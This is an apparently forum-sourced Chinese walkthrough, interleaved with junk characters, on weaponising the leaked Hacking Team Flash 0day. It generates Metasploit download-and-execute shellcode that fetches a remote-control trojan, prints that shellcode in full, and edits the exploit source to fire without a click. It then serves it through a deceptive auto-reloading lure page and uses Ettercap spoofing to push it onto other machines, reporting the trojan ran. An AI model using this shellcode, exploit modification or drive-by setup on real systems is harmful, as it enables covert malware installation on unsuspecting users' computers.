flash 0day之手工代码修改制作下载者实例入侵演示

admin

5 P3 C$ D* {* s& C* x+ f" T/ j 三、flash 0day之手工代码修改制作下载者实例入侵演示

/ m2 p- q( C* F 利用到的工具： + [! D+ J8 Y6 b+ b

q6 u* G. Y4 l) X' ^

Msf

8 C& U+ ?* M$ m# u7 F. Z, x Ettercap 0 G z0 w% v7 Q4 {8 ^, y( u: R3 g

Adobe Flash CS6 % I8 [0 x" j5 m

3 n& J0 X6 v, p6 G Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份

$ U0 ^( f2 }6 _

/ D2 ^3 h; Q, [2 @5 E3 E2 v) K5 i. J 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options

5 c, u' F7 Y& T% D2 a

如图： ! S6 h: S% l$ f! }) h+ W9 f# j

" g$ ^$ n/ b: b8 B

 

( K! X8 n* G8 I; ^

) \3 }' W* y& [4 C& I6 p   ! E5 \# e. u/ N

7 y0 f- F9 f4 Y! R& g! c

然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: ; n9 W5 i/ c( s$ x. ~* M" g

 

! C- X2 w, q" A( H6 v

  ! I& u& A, S$ Z3 G5 A2 L2 v

. y7 }) M* _( ^5 @7 v

P1 L5 C- r0 R; v. L/ ?( d 然后执行generate -t dword生成shellcode，如下：

, F. V7 j( p# T7 }" g

 

8 A: k$ F% u: D/ K, Y

+ M3 m6 [5 e- k2 h4 y 复制代码到文本下便于我们一会编辑flash exp，如下： 0 x! `$ U% z' X+ `$ _9 X

& H: W, G6 t9 D6 c, _0 I

( n7 R% I3 n' p$ `, D0 P 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, * x3 H; P" h1 G! o" @& b

* h0 F7 E8 i* v- p* z5 M& C0 J- m 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, - d7 q6 v$ A: p3 t- W. m9 [

& [/ Z" S# ~! H5 Z: ?5 x6 [

0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 3 p5 P/ [+ x$ n2 n, V( b( Z

0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, # b. f. h6 y2 J, t' ~- z, B

1 V) q' ~( r8 s

0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,

0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 4 y) G0 q. D4 c z: {- b

! y/ z) x5 ^' p

' \. b$ f( }- a1 ^ 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ; F; ^7 U3 m0 ]$ H

t$ O) C' V2 c4 n: q# W- _

0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 1 @3 {4 K3 J @) ]/ d/ k

% S! f, Q" K" L3 D

0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,

/ m0 X( ]* c; w" c7 w 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,

" k& }* n9 s* u4 m- A) b9 Y* }4 l

0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,

2 f7 m( p) t; i/ V( N

0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, * D8 |) _' m4 m! ]* ]+ J

. J1 l# j! K# O# W 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,

0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000

. S- ?2 M* K+ _  

1 J a) Q0 u8 W7 y* h+ h

4 }( H( k! R7 X2 J V- N7 ?  

, I3 v4 ~. k+ z, b Y9 a2 `7 y7 D6 b

下面我们来修改flash 0day exp，需要修改三个文件，分别为：

9 O! I1 d9 P5 ?" `

8 c' d( E* ^" G+ \   7 X& U! J& S+ j

7 A5 L/ A4 O( A! ]& G8 q

9 n: n7 R/ c+ M4 D 先修改ShellWin32.as，部分源代码如图：

7 e" e( d( M4 y8 W6 x

$ ?9 g' m) b1 d7 u' W( n: n  

( ]6 Q; W) M" [2 H5 v7 p

我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： . \" ^& I- S. j* k" |5 H" O8 m

 

然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： - w& |7 y# {9 e) p; l. j

 

换行在后面加一句TryExpl();注意是l不是数字1，然后如图： 8 Q* O$ o, l& F# J

  ( r% Z; \, d; z" J6 W

& g0 ^0 ]4 n& l8 D8 E

; d, ]/ t% q" H/ Y2 J" a: I K3 D   ! e& b+ T W! v' v1 C

D' E" e! ^+ _6 T; _7 @& x7 R" h

0 v1 `) ?+ S ~" N3 f" X! n% B! X7 x2 h   ; Q7 K( v% ?: A; x" {1 F+ L5 E' [2 m

然后点保存，下面我们来编译一下，打开 + a# V! W' o4 N$ v; R

' g; h4 M+ e9 E, S5 }- y% N

* r" V5 t2 f4 G0 v exp1.fla然后点文件-发布，看看编译没错误

6 N3 l ?0 m4 ]

  ; `7 ?5 S* s/ K! K

! S, c& w% z0 j% a

6 D$ _9 w7 e/ Z+ s  

/ m c* S* O5 G4 x0 B& @

4 s" K6 X: A; Q% E  

1 `' ]4 ]2 X- t( F) c

- Q; \0 I: D3 G& u   . t: `+ W! Y1 N5 e* J1 j

' A$ _6 A2 K% n

4 B$ k5 Q; V5 t; e$ x 然后我们把生成的

exp1.swf丢到kailinux 的/var/www/html下：

然后把这段代码好好编辑一下 9 `# |% o6 W/ M& q: _* H

 

  2 T/ C9 t! C! V$ l

  # l2 t5 l6 ~0 P' e+ d2 {! ~# f$ ^

, M; R- ]1 H: t! \  

 

 

4 R( O1 Z: i0 {

<!DOCTYPE html>

+ i( L: M- i* P0 m7 ]6 Y5 S <html> ; i$ R) g6 |3 T% M. z/ x" U

H3 r" u/ I: B1 O

<head> $ @% \& E5 x I, n! X+ f

<meta http-equiv="Content-Type" content="text/html;

charset=utf-8"/>

0 ]8 A4 i: x9 z6 Z. G M4 K </head>

* R: t/ l. O& i, x

( u, C0 x! S( H- Q7 M! l4 W$ A4 s <body> 2 N) F4 B. O' H J

: D5 H2 x, p, k' P8 b$ r

& z# b3 q+ `7 V/ z) N <h2> Please wait, the requested page is loading...</h2> 2 }4 H/ G5 G, J( T3 p4 J& _) H) ~8 s

a3 f! h! ^- K3 {: r

5 N, k; f) P2 c- O3 c2 N <br> / M8 `/ t% J* y8 K7 ]

. T$ Y" O* ^8 N3 Z1 b0 `4 Q3 O <OBJECT

4 H+ Z- ?! Z. a/ t3 R) c0 }. J

classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie

VALUE="http://192.168.0.109/exp1.swf"></OBJECT>

% q% L: v% H, F) C </body> 2 h5 h$ i, {2 @ L) D

' m' O6 u. v- l( {; W

<script> 1 @' J# D2 S8 }6 G& U

6 Y5 w& I& W6 F. b/ O1 M2 Y! v

; | Z1 F+ u% e$ T. l7 Z     setTimeout(function () {

         7 m. X& S. p& N! O0 w

window.location.reload();

* R$ O5 C8 e& m- w7 ]" q" k' j     }, 10000);

# A, n* W* S( O5 Q- c, q   & Q# P* d3 }" n- o

: G+ @4 B; ]' |& D </script>

</html>

- ]- ?5 V- p* o3 W

 

注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： ( Z, ~4 s3 T! r8 f4 ?

 

S0 k: ^7 I9 d; `

5 P, H6 \2 S1 V$ O   ; |8 K& |3 C/ [

: d& J* Q u: x2 f5 x   8 d- p' y' }- {: T9 \! ~

: g+ g) r, X/ F$ O0 j  

  2 J- Q2 E4 U* B i

* k2 b4 j8 H5 Q8 Y1 K' T. A& s" f

下面我们用ettercap欺骗如图：

Z7 o3 ^/ Z/ |) B" Z3 p

 

2 {9 b* n+ F3 g

4 p* @1 n9 E& h, V% b# a  

]6 M/ }5 j3 v

- d, Z, I& _4 O4 n 下面我们随便访问个网站看看：

0 P8 d( V. i/ A T; d2 ?8 U) ~ 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图：

 

我们看另一台，

1 H m' Z( `! A; n8 w' u

提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。